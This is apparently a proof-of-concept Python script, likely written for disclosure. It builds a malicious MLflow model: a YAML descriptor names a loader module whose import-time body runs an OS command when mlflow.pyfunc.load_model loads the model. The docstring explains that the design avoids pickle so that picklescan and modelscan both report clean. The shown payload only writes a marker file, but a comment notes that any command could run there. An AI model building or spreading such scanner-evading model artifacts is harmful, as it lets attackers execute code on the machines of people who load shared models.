#!/usr/bin/env python3
"""
PoC: a malicious MLflow model that picklescan and modelscan both report CLEAN,
yet executes an arbitrary OS command the moment mlflow.pyfunc.load_model() loads
it — with NO pickle anywhere in the artifact.

An MLflow model is a directory: an `MLmodel` YAML descriptor + supporting files.
The python_function flavor names a `loader_module` and a `code` directory.
On load, MLflow PREPENDS the model's `code/` dir to sys.path and does
`importlib.import_module(loader_module)`, so the attacker's loader module body
runs as Python at import time. Because the malicious payload is pure Python
source + YAML (no pickle bytes), picklescan finds nothing to scan
("Scanned files: 0") and modelscan skips the unsupported extensions
("No issues found!") — while load is full RCE.

Run:  python build_poc.py    # writes ./model/{MLmodel, code/evil_loader.py}
"""
import os

MARKER = "/tmp/mlflow_pyfunc_pwned.txt"

LOADER = '''\
# Attacker-controlled loader module. The MODULE BODY runs at import time;
# mlflow.pyfunc.load_model triggers it via importlib.import_module(loader_module).
import os
os.system("echo MLFLOW_PYFUNC_PWNED > %s")   # benign marker; any command runs here

def _load_pyfunc(path):
    class _M:
        def predict(self, *a, **k):
            return []
    return _M()
''' % MARKER

MLMODEL = '''\
flavors:
  python_function:
    loader_module: evil_loader
    code: code
    python_version: 3.12.3
mlflow_version: 3.14.0
model_uuid: "00000000000000000000000000000000"
'''


def main():
    os.makedirs("model/code", exist_ok=True)
    with open("model/code/evil_loader.py", "w") as f:
        f.write(LOADER)
    with open("model/MLmodel", "w") as f:
        f.write(MLMODEL)
    print("wrote ./model/MLmodel and ./model/code/evil_loader.py")
    print("scan:  python -m picklescan -p model   ;  modelscan -p model   (both clean)")
    print("load:  python -c \"import mlflow.pyfunc; mlflow.pyfunc.load_model('model')\"   (RCE)")


if __name__ == "__main__":
    main()